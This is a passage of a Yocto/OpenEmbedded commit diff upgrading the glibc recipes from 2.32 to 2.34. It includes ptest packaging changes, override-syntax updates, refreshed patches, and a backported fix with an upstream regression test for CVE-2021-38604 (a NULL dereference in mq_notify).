+ d.setVar("PROVIDES", "${PN} ${PN}-ptest")
+ d.setVar("RPROVIDES", "${PN} ${PN}-ptest")
+
+ d.setVar("BBCLASSEXTEND", "")
+ d.setVar("RRECOMMENDS", "")
+ d.setVar("SYSTEMD_SERVICE:nscd", "")
+ d.setVar("SYSTEMD_PACKAGES", "")
+}
+
+# Remove any leftovers from original glibc recipe
+RPROVIDES:${PN} = "${PN}"
+RRECOMMENDS:${PN} = ""
+RDEPENDS:${PN} = " glibc sed"
+DEPENDS:append = " sed"
+
+# Just build tests for target - do not run them
+do_check:append () {
+ oe_runmake -i check run-built-tests=no
+}
+addtask do_check after do_compile before do_install_ptest_base
+
+glibc_strip_build_directory () {
+ # Delete all non executable files from build directory
+ find ${B} ! -executable -type f -delete
+
+ # Remove build dynamic libraries and links to them as
+ # those are already installed in the target device
+ find ${B} -type f -name "*.so" -delete
+ find ${B} -type l -name "*.so*" -delete
+
+ # Remove headers (installed with glibc)
+ find ${B} -type f -name "*.h" -delete
+
+ find ${B} -type f -name "isomac" -delete
+ find ${B} -type f -name "annexc" -delete
+}
+
+do_install_ptest_base () {
+ glibc_strip_build_directory
+
+ ls -r ${B}/*/*-time64 > ${B}/tst_time64
+
+ # Remove '-time64' suffix - those tests are also time related
+ sed -e "s/-time64$//" ${B}/tst_time64 > ${B}/tst_time_tmp
+ tst_time=$(cat ${B}/tst_time_tmp ${B}/tst_time64)
+
+ rm ${B}/tst_time_tmp ${B}/tst_time64
+ echo "${tst_time}"
+
+ # Install build test programs to the image
+ install -d ${D}${PTEST_PATH}/tests/glibc-ptest/
+
+ for f in "${tst_time}"
+ do
+ cp -r ${f} ${D}${PTEST_PATH}/tests/glibc-ptest/
+ done
+
+ install -d ${D}${PTEST_PATH}
+ cp ${WORKDIR}/run-ptest ${D}${PTEST_PATH}/
+
+}
+
+# The datadir directory is required to allow core (and reused)
+# glibc cleanup function to finish correctly, as this directory
+# is not created for ptests
+stash_locale_package_cleanup:prepend () {
+ mkdir -p ${PKGD}${datadir}
+}
+
+stash_locale_sysroot_cleanup:prepend () {
+ mkdir -p ${SYSROOT_DESTDIR}${datadir}
+}
+
+# Prevent the do_package() task to set 'libc6' prefix
+# for glibc tests related packages
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('DEBIAN_NAMES', '')
+}
+
+FILES:${PN} = "${PTEST_PATH}/* /usr/src/debug/glibc-tests/*"
+
+EXCLUDE_FROM_SHLIBS = "1"
+
+# Install debug data in .debug and sources in /usr/src/debug
+# It is more handy to have _all_ the sources and symbols in one
+# place (package) as this recipe will be used for validation and
+# debugging.
+PACKAGE_DEBUG_SPLIT_STYLE = "debug"
+
+# glibc test cases violate by default some Yocto/OE checks (staticdev,
+# textrel)
+# 'debug-files' - add everything (including debug) into one package
+# (no need to install/build *-src package)
+INSANE_SKIP:${PN} += "staticdev textrel debug-files rpaths"
+
+deltask do_stash_locale
+do_install[noexec] = "1"
+do_populate_sysroot[noexec] = "1"
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.32.bb b/meta/recipes-core/glibc/glibc-testsuite_2.32.bb
deleted file mode 100644
index d887aeff79..0000000000
--- a/meta/recipes-core/glibc/glibc-testsuite_2.32.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-require glibc_${PV}.bb
-
-EXCLUDE_FROM_WORLD = "1"
-
-# handle PN differences
-FILESEXTRAPATHS_prepend := "${THISDIR}/glibc:"
-
-# strip provides
-PROVIDES = ""
-# setup depends
-INHIBIT_DEFAULT_DEPS = ""
-
-python () {
- libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
- libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
- if libc != "glibc" or libclocale != "glibc-locale":
- raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
-}
-
-DEPENDS += "glibc-locale libgcc gcc-runtime"
-
-# remove the initial depends
-DEPENDS_remove = "libgcc-initial"
-
-inherit qemu
-
-SRC_URI += "file://check-test-wrapper"
-
-DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
-
-TOOLCHAIN_TEST_TARGET ??= "user"
-TOOLCHAIN_TEST_HOST ??= "localhost"
-TOOLCHAIN_TEST_HOST_USER ??= "root"
-TOOLCHAIN_TEST_HOST_PORT ??= "2222"
-
-do_check[dirs] += "${B}"
-do_check[nostamp] = "1"
-do_check () {
- chmod 0755 ${WORKDIR}/check-test-wrapper
-
- # clean out previous test results
- oe_runmake tests-clean
- # makefiles don't clean entirely (and also sometimes fails due to too many args)
- find ${B} -type f -name "*.out" -delete
- find ${B} -type f -name "*.test-result" -delete
- find ${B}/catgets -name "*.cat" -delete
- find ${B}/conform -name "symlist-*" -delete
- [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
-
- oe_runmake -i \
- QEMU_SYSROOT="${RECIPE_SYSROOT}" \
- QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
- SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
- SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
- SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
- test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
- check
-}
-addtask do_check after do_compile
-
-inherit nopackages
-deltask do_stash_locale
-deltask do_install
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.34.bb b/meta/recipes-core/glibc/glibc-testsuite_2.34.bb
new file mode 100644
index 0000000000..e8ad2a938b
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-testsuite_2.34.bb
@@ -0,0 +1,35 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit qemu
+
+SRC_URI += "file://check-test-wrapper"
+
+# strip provides
+PROVIDES = ""
+
+DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
+
+TOOLCHAIN_TEST_TARGET ??= "user"
+TOOLCHAIN_TEST_HOST ??= "localhost"
+TOOLCHAIN_TEST_HOST_USER ??= "root"
+TOOLCHAIN_TEST_HOST_PORT ??= "2222"
+
+do_check[nostamp] = "1"
+do_check:append () {
+ chmod 0755 ${WORKDIR}/check-test-wrapper
+
+ oe_runmake -i \
+ QEMU_SYSROOT="${RECIPE_SYSROOT}" \
+ QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
+ SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
+ SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
+ SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
+ test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
+ check
+}
+
+inherit nopackages
+deltask do_stash_locale
+deltask do_install
+deltask do_populate_sysroot
diff --git a/meta/recipes-core/glibc/glibc-version.inc b/meta/recipes-core/glibc/glibc-version.inc
index 1566056297..281df7ecda 100644
--- a/meta/recipes-core/glibc/glibc-version.inc
+++ b/meta/recipes-core/glibc/glibc-version.inc
@@ -1,7 +1,7 @@
-SRCBRANCH ?= "release/2.32/master"
-PV = "2.32"
-SRCREV_glibc ?= "3de512be7ea6053255afed6154db9ee31d4e557a"
-SRCREV_localedef ?= "bd644c9e6f3e20c5504da1488448173c69c56c28"
+SRCBRANCH ?= "release/2.34/master"
+PV = "2.34"
+SRCREV_glibc ?= "ae37d06c7d127817ba43850f0f898b793d42aea7"
+SRCREV_localedef ?= "95c0221703ad970a52445e9eaf91c4aff35eebef"
GLIBC_GIT_URI ?= "git://sourceware.org/git/glibc.git"
diff --git a/meta/recipes-core/glibc/glibc.inc b/meta/recipes-core/glibc/glibc.inc
index d2f02ad59b..fdd241d973 100644
--- a/meta/recipes-core/glibc/glibc.inc
+++ b/meta/recipes-core/glibc/glibc.inc
@@ -20,13 +20,14 @@ CACHED_CONFIGUREVARS += " \
libc_cv_ssp_strong=no \
libc_cv_ssp_all=no \
libc_cv_ssp=no \
+ libc_cv_include_x86_isa_level=no \
"
# ifunc doesn't appear to work on mips, casuses libbfd assertion failures
-CACHED_CONFIGUREVARS_append_mipsarch = " libc_cv_ld_gnu_indirect_function=no"
+CACHED_CONFIGUREVARS:append:mipsarch = " libc_cv_ld_gnu_indirect_function=no"
GLIBC_EXTRA_OECONF ?= ""
-GLIBC_EXTRA_OECONF_class-nativesdk = ""
+GLIBC_EXTRA_OECONF:class-nativesdk = ""
# glibc uses PARALLELMFLAGS variable to pass parallel build info so transfer
# PARALLEL_MAKE into PARALLELMFLAGS and empty out PARALLEL_MAKE
@@ -40,12 +41,16 @@ PARALLEL_MAKE = ""
# ensure make uses /bin/bash
EXTRA_OEMAKE += "SHELL=/bin/bash"
-do_configure_prepend() {
- sed -e "s#@BASH@#/bin/sh#" -i ${S}/elf/ldd.bash.in
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+do_configure:prepend() {
+ sed -e "s#/bin/bash#/bin/sh#" -i ${S}/elf/ldd.bash.in
}
# Enable backtrace from abort()
-do_configure_append_arm () {
+do_configure:append:arm () {
echo "CFLAGS-abort.c = -fasynchronous-unwind-tables" >> ${B}/configparms
echo "CFLAGS-raise.c = -fasynchronous-unwind-tables" >> ${B}/configparms
}
diff --git a/meta/recipes-core/glibc/glibc/0001-CVE-2021-38604.patch b/meta/recipes-core/glibc/glibc/0001-CVE-2021-38604.patch
new file mode 100644
index 0000000000..1e94049004
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0001-CVE-2021-38604.patch
@@ -0,0 +1,43 @@
+From b805aebd42364fe696e417808a700fdb9800c9e8 Mon Sep 17 00:00:00 2001
+From: Nikita Popov <npv1310@gmail.com>
+Date: Mon, 9 Aug 2021 20:17:34 +0530
+Subject: [PATCH] librt: fix NULL pointer dereference (bug 28213)
+
+Helper thread frees copied attribute on NOTIFY_REMOVED message
+received from the OS kernel. Unfortunately, it fails to check whether
+copied attribute actually exists (data.attr != NULL). This worked
+earlier because free() checks passed pointer before actually
+attempting to release corresponding memory. But
+__pthread_attr_destroy assumes pointer is not NULL.
+
+So passing NULL pointer to __pthread_attr_destroy will result in
+segmentation fault. This scenario is possible if
+notification->sigev_notify_attributes == NULL (which means default
+thread attributes should be used).
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=glibc.git;a=commit;h=b805aebd42364fe696e417808a700fdb9800c9e8]
+CVE: CVE-2021-38604
+
+Signed-off-by: Nikita Popov <npv1310@gmail.com>
+Reviewed-by: Siddhesh Poyarekar <siddhesh@sourceware.org>
+Signed-off-by: Vinay Kumar <vinay.m.engg@gmail.com>
+---
+ sysdeps/unix/sysv/linux/mq_notify.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/mq_notify.c b/sysdeps/unix/sysv/linux/mq_notify.c
+index 9799dcdaa4..eccae2e4c6 100644
+--- a/sysdeps/unix/sysv/linux/mq_notify.c
++++ b/sysdeps/unix/sysv/linux/mq_notify.c
+@@ -131,7 +131,7 @@ helper_thread (void *arg)
+ to wait until it is done with it. */
+ (void) __pthread_barrier_wait (&notify_barrier);
+ }
+- else if (data.raw[NOTIFY_COOKIE_LEN - 1] == NOTIFY_REMOVED)
++ else if (data.raw[NOTIFY_COOKIE_LEN - 1] == NOTIFY_REMOVED && data.attr != NULL)
+ {
+ /* The only state we keep is the copy of the thread attributes. */
+ __pthread_attr_destroy (data.attr);
+--
+2.31.1
+
diff --git a/meta/recipes-core/glibc/glibc/0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch b/meta/recipes-core/glibc/glibc/0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch
new file mode 100644
index 0000000000..0480c47b49
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch
@@ -0,0 +1,50 @@
+From 76d170fbbfd07b26a0288212201e5d15558db36f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 9 Dec 2021 15:14:42 -0800
+Subject: [PATCH] Make shell interpreter overridable in tzselect.ksh
+
+define new macro called KSHELL which can be used to define default shell
+use Bash by default
+
+Upstream-Status: Submitted [https://patchwork.sourceware.org/project/glibc/patch/20211209234015.1554552-1-raj.khem@gmail.com/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makeconfig | 9 +++++++++
+ timezone/Makefile | 1 +
+ 2 files changed, 10 insertions(+)
+
+diff --git a/Makeconfig b/Makeconfig
+index 3fa2f13003..a1ea5d5571 100644
+--- a/Makeconfig
++++ b/Makeconfig
+@@ -292,6 +292,15 @@ ifndef sysincludedir
+ sysincludedir = /usr/include
+ endif
+
++# The full path name of a Posix-compliant shell, preferably one that supports
++# the Korn shell's 'select' statement as an extension.
++# These days, Bash is the most popular.
++# It should be OK to set this to /bin/sh, on platforms where /bin/sh
++# lacks 'select' or doesn't completely conform to Posix, but /bin/bash
++# is typically nicer if it works.
++ifndef KSHELL
++KSHELL = /bin/bash
++endif
+
+ # Commands to install files.
+ ifndef INSTALL_DATA
+diff --git a/timezone/Makefile b/timezone/Makefile
+index c624a189b3..dc8f5277de 100644
+--- a/timezone/Makefile
++++ b/timezone/Makefile
+@@ -127,6 +127,7 @@ $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
+ -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
+ -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
+ -e '/REPORT_BUGS_TO=/s|=.*|="$(REPORT_BUGS_TO)"|' \
++ -e 's|#!/bin/bash|#!$(KSHELL)|g' \
+ < $< > $@.new
+ chmod 555 $@.new
+ mv -f $@.new $@
+--
+2.34.1
+
diff --git a/meta/recipes-core/glibc/glibc/0001-fix-create-thread-failed-in-unprivileged-process-BZ-.patch b/meta/recipes-core/glibc/glibc/0001-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
new file mode 100644
index 0000000000..3283dd7ad8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0001-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
@@ -0,0 +1,79 @@
+From a8bc44936202692edcd82a48c07d7cf27d6ed8ee Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Sun, 29 Aug 2021 20:49:16 +0800
+Subject: [PATCH] fix create thread failed in unprivileged process [BZ #28287]
+
+Since commit [d8ea0d0168 Add an internal wrapper for clone, clone2 and clone3]
+applied, start a unprivileged container (docker run without --privileged),
+it creates a thread failed in container.
+
+In commit d8ea0d0168, it calls __clone3 if HAVE_CLONE3_WAPPER is defined. If
+__clone3 returns -1 with ENOSYS, fall back to clone or clone2.
+
+As known from [1], cloneXXX fails with EPERM if CLONE_NEWCGROUP,
+CLONE_NEWIPC, CLONE_NEWNET, CLONE_NEWNS, CLONE_NEWPID, or CLONE_NEWUTS
+was specified by an unprivileged process (process without CAP_SYS_ADMIN)
+
+[1] https://man7.org/linux/man-pages/man2/clone3.2.html
+
+So if __clone3 returns -1 with EPERM, fall back to clone or clone2 could
+fix the issue. Here are the test steps:
+
+1) Prepare test code
+cat > conftest.c <<ENDOF
+ #include <pthread.h>
+ #include <stdio.h>
+
+int check_me = 0;
+void* func(void* data) {check_me = 42; printf("start thread: check_me %d\n", check_me); return &check_me;}
+int main()
+{
+ pthread_t t;
+ void *ret;
+ pthread_create (&t, 0, func, 0);
+ pthread_join (t, &ret);
+ printf("check_me %d, p %p\n", check_me, &ret);
+ return (check_me != 42 || ret != &check_me);
+}
+
+ENDOF
+
+2) Compile
+gcc -o conftest -pthread conftest.c
+
+3) Start a container with glibc 2.34 installed
+[skip details]
+docker run -it <container-image-name> bash
+
+4) Run conftest without this patch
+$ ./conftest
+check_me 0, p 0x7ffd91ccd400
+
+5) Run conftest with this patch
+$ ./conftest
+start thread: check_me 42
+check_me 42, p 0x7ffe253c6f20
+
+Upstream-Status: Submitted [libc-alpha@sourceware.org]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ sysdeps/unix/sysv/linux/clone-internal.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/clone-internal.c b/sysdeps/unix/sysv/linux/clone-internal.c
+index 979f7880be..97101994e8 100644
+--- a/sysdeps/unix/sysv/linux/clone-internal.c
++++ b/sysdeps/unix/sysv/linux/clone-internal.c
+@@ -52,7 +52,7 @@ __clone_internal (struct clone_args *cl_args,
+ /* Try clone3 first. */
+ int saved_errno = errno;
+ ret = __clone3 (cl_args, sizeof (*cl_args), func, arg);
+- if (ret != -1 || errno != ENOSYS)
++ if (ret != -1 || (errno != ENOSYS && errno != EPERM))
+ return ret;
+
+ /* NB: Restore errno since errno may be checked against non-zero
+--
+2.30.2
+
diff --git a/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
index e0ec1887dc..3ff485b1e3 100644
--- a/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
+++ b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
@@ -1,7 +1,7 @@
-From 5db90855621a81d02f1434d5602cefea8c45de1c Mon Sep 17 00:00:00 2001
+From d34ba0833cd811f8869a6262044af55f9e7b59d8 Mon Sep 17 00:00:00 2001
From: Jason Wessel <jason.wessel@windriver.com>
Date: Sat, 7 Dec 2019 09:59:22 -0800
-Subject: [PATCH 01/29] localedef: Add hardlink resolver from util-linux
+Subject: [PATCH] localedef: Add hardlink resolver from util-linux
The hard link resolver that is built into localedef cannot be run in
parallel. It will search sibling directories (which are be processed
@@ -1128,6 +1128,3 @@ index 0000000000..0129a85e2e
+}
+
+#endif
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0002-CVE-2021-38604.patch b/meta/recipes-core/glibc/glibc/0002-CVE-2021-38604.patch
new file mode 100644
index 0000000000..9f71fecddb
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0002-CVE-2021-38604.patch
@@ -0,0 +1,150 @@
+From 4cc79c217744743077bf7a0ec5e0a4318f1e6641 Mon Sep 17 00:00:00 2001
+From: Nikita Popov <npv1310@gmail.com>
+Date: Thu, 12 Aug 2021 16:09:50 +0530
+Subject: [PATCH] librt: add test (bug 28213)
+
+This test implements following logic:
+1) Create POSIX message queue.
+ Register a notification with mq_notify (using NULL attributes).
+ Then immediately unregister the notification with mq_notify.
+ Helper thread in a vulnerable version of glibc
+ should cause NULL pointer dereference after these steps.
+2) Once again, register the same notification.
+ Try to send a dummy message.
+ Test is considered successfulif the dummy message
+ is successfully received by the callback function.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=glibc.git;a=commit;h=4cc79c217744743077bf7a0ec5e0a4318f1e6641]
+CVE: CVE-2021-38604
+
+Signed-off-by: Nikita Popov <npv1310@gmail.com>
+Reviewed-by: Siddhesh Poyarekar <siddhesh@sourceware.org>
+Signed-off-by: Vinay Kumar <vinay.m.engg@gmail.com>
+---
+ rt/Makefile | 1 +
+ rt/tst-bz28213.c | 101 +++++++++++++++++++++++++++++++++++++++++++++++
+ 2 files changed, 102 insertions(+)
+ create mode 100644 rt/tst-bz28213.c
+
+diff --git a/rt/Makefile b/rt/Makefile
+index 113cea03a5..910e775995 100644
+--- a/rt/Makefile
++++ b/rt/Makefile
+@@ -74,6 +74,7 @@ tests := tst-shm tst-timer tst-timer2 \
+ tst-aio7 tst-aio8 tst-aio9 tst-aio10 \
+ tst-mqueue1 tst-mqueue2 tst-mqueue3 tst-mqueue4 \
+ tst-mqueue5 tst-mqueue6 tst-mqueue7 tst-mqueue8 tst-mqueue9 \
++ tst-bz28213 \
+ tst-timer3 tst-timer4 tst-timer5 \
+ tst-cpuclock2 tst-cputimer1 tst-cputimer2 tst-cputimer3 \
+ tst-shm-cancel \
+diff --git a/rt/tst-bz28213.c b/rt/tst-bz28213.c
+new file mode 100644
+index 0000000000..0c096b5a0a
+--- /dev/null
++++ b/rt/tst-bz28213.c
+@@ -0,0 +1,101 @@
++/* Bug 28213: test for NULL pointer dereference in mq_notify.
++ Copyright (C) The GNU Toolchain Authors.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++#include <errno.h>
++#include <sys/types.h>
++#include <sys/stat.h>
++#include <fcntl.h>
++#include <unistd.h>
++#include <mqueue.h>
++#include <signal.h>
++#include <stdlib.h>
++#include <string.h>
++#include <support/check.h>
++
++static mqd_t m = -1;
++static const char msg[] = "hello";
++
++static void
++check_bz28213_cb (union sigval sv)
++{
++ char buf[sizeof (msg)];
++
++ (void) sv;
++
++ TEST_VERIFY_EXIT ((size_t) mq_receive (m, buf, sizeof (buf), NULL)
++ == sizeof (buf));
++ TEST_VERIFY_EXIT (memcmp (buf, msg, sizeof (buf)) == 0);
++
++ exit (0);
++}
++
++static void
++check_bz28213 (void)
++{
++ struct sigevent sev;
++
++ memset (&sev, '\0', sizeof (sev));
++ sev.sigev_notify = SIGEV_THREAD;
++ sev.sigev_notify_function = check_bz28213_cb;
++
++ /* Step 1: Register & unregister notifier.
++ Helper thread should receive NOTIFY_REMOVED notification.
++ In a vulnerable version of glibc, NULL pointer dereference follows. */
++ TEST_VERIFY_EXIT (mq_notify (m, &sev) == 0);
++ TEST_VERIFY_EXIT (mq_notify (m, NULL) == 0);
++
++ /* Step 2: Once again, register notification.
++ Try to send one message.
++ Test is considered successful, if the callback does exit (0). */
++ TEST_VERIFY_EXIT (mq_notify (m, &sev) == 0);
++ TEST_VERIFY_EXIT (mq_send (m, msg, sizeof (msg), 1) == 0);
++
++ /* Wait... */
++ pause ();
++}
++
++static int
++do_test (void)
++{
++ static const char m_name[] = "/bz28213_queue";
++ struct mq_attr m_attr;
++
++ memset (&m_attr, '\0', sizeof (m_attr));
++ m_attr.mq_maxmsg = 1;
++ m_attr.mq_msgsize = sizeof (msg);
++
++ m = mq_open (m_name,
++ O_RDWR | O_CREAT | O_EXCL,
++ 0600,
++ &m_attr);
++
++ if (m < 0)
++ {
++ if (errno == ENOSYS)
++ FAIL_UNSUPPORTED ("POSIX message queues are not implemented\n");
++ FAIL_EXIT1 ("Failed to create POSIX message queue: %m\n");
++ }
++
++ TEST_VERIFY_EXIT (mq_unlink (m_name) == 0);
++
++ check_bz28213 ();
++
++ return 0;
++}
++
++#include <support/test-driver.c>
+--
+2.31.1
+
diff --git a/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
index 05b76803b4..2445aa56b3 100644
--- a/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
+++ b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
@@ -1,7 +1,7 @@
-From ab022ce3c1c01fd6c850f541a33efd0cacabe052 Mon Sep 17 00:00:00 2001
+From d7bb36a9a27e5e4c3be6378493b41286513750e9 Mon Sep 17 00:00:00 2001
From: Jason Wessel <jason.wessel@windriver.com>
Date: Sat, 7 Dec 2019 10:01:37 -0800
-Subject: [PATCH 02/29] localedef: fix-ups hardlink to make it compile
+Subject: [PATCH] localedef: fix-ups hardlink to make it compile
Upstream-Status: Pending
Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
@@ -236,6 +236,3 @@ index 63615896b0..726e6dd948 100644
}
continue;
}
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
index 743994f2db..210cc1076c 100644
--- a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
+++ b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
@@ -1,8 +1,7 @@
-From de4322ef6d4dc9fc3ee9b69af1c10edbc64a66a3 Mon Sep 17 00:00:00 2001
+From 776a53db6afba8a7ff4412aba88b0679227877f9 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:48:24 +0000
-Subject: [PATCH 03/29] nativesdk-glibc: Look for host system ld.so.cache as
- well
+Subject: [PATCH] nativesdk-glibc: Look for host system ld.so.cache as well
Upstream-Status: Inappropriate [embedded specific]
@@ -31,10 +30,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 8 insertions(+), 8 deletions(-)
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index e39980fb19..565b039b23 100644
+index a08df001af..d09daf9e41 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -2160,6 +2160,14 @@ _dl_map_object (struct link_map *loader, const char *name,
+@@ -2196,6 +2196,14 @@ _dl_map_object (struct link_map *loader, const char *name,
}
}
@@ -42,14 +41,14 @@ index e39980fb19..565b039b23 100644
+ if (fd == -1
+ && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
+ || __builtin_expect (!(l->l_flags_1 & DF_1_NODEFLIB), 1))
-+ && rtld_search_dirs.dirs != (void *) -1)
-+ fd = open_path (name, namelen, mode & __RTLD_SECURE, &rtld_search_dirs,
++ && __rtld_search_dirs.dirs != (void *) -1)
++ fd = open_path (name, namelen, mode & __RTLD_SECURE, &__rtld_search_dirs,
+ &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
+ /* Finally try ld.so.cache */
#ifdef USE_LDCONFIG
if (fd == -1
&& (__glibc_likely ((mode & __RTLD_SECURE) == 0)
-@@ -2218,14 +2226,6 @@ _dl_map_object (struct link_map *loader, const char *name,
+@@ -2254,14 +2262,6 @@ _dl_map_object (struct link_map *loader, const char *name,
}
#endif
@@ -57,13 +56,10 @@ index e39980fb19..565b039b23 100644
- if (fd == -1
- && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
- || __glibc_likely (!(l->l_flags_1 & DF_1_NODEFLIB)))
-- && rtld_search_dirs.dirs != (void *) -1)
-- fd = open_path (name, namelen, mode, &rtld_search_dirs,
+- && __rtld_search_dirs.dirs != (void *) -1)
+- fd = open_path (name, namelen, mode, &__rtld_search_dirs,
- &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
-
/* Add another newline when we are tracing the library loading. */
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_LIBS))
_dl_debug_printf ("\n");
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
index a3b5b7750c..010b816e11 100644
--- a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
+++ b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
@@ -1,8 +1,7 @@
-From 258c44e4ecffd830cb89d0016d45b2bac765f559 Mon Sep 17 00:00:00 2001
+From df18bae1eeee55ecb9db36d13fe67c58355682eb Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:50:00 +0000
-Subject: [PATCH 04/29] nativesdk-glibc: Fix buffer overrun with a relocated
- SDK
+Subject: [PATCH] nativesdk-glibc: Fix buffer overrun with a relocated SDK
When ld-linux-*.so.2 is relocated to a path that is longer than the
original fixed location, the dynamic loader will crash in open_path
@@ -22,10 +21,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 12 insertions(+)
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index 565b039b23..e1b3486549 100644
+index d09daf9e41..2c6270e2a7 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -1860,7 +1860,19 @@ open_path (const char *name, size_t namelen, int mode,
+@@ -1892,7 +1892,19 @@ open_path (const char *name, size_t namelen, int mode,
given on the command line when rtld is run directly. */
return -1;
@@ -45,6 +44,3 @@ index 565b039b23..e1b3486549 100644
do
{
struct r_search_path_elem *this_dir = *dirs;
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
index 2073576aac..bf9f3e36ca 100644
--- a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
+++ b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
@@ -1,8 +1,7 @@
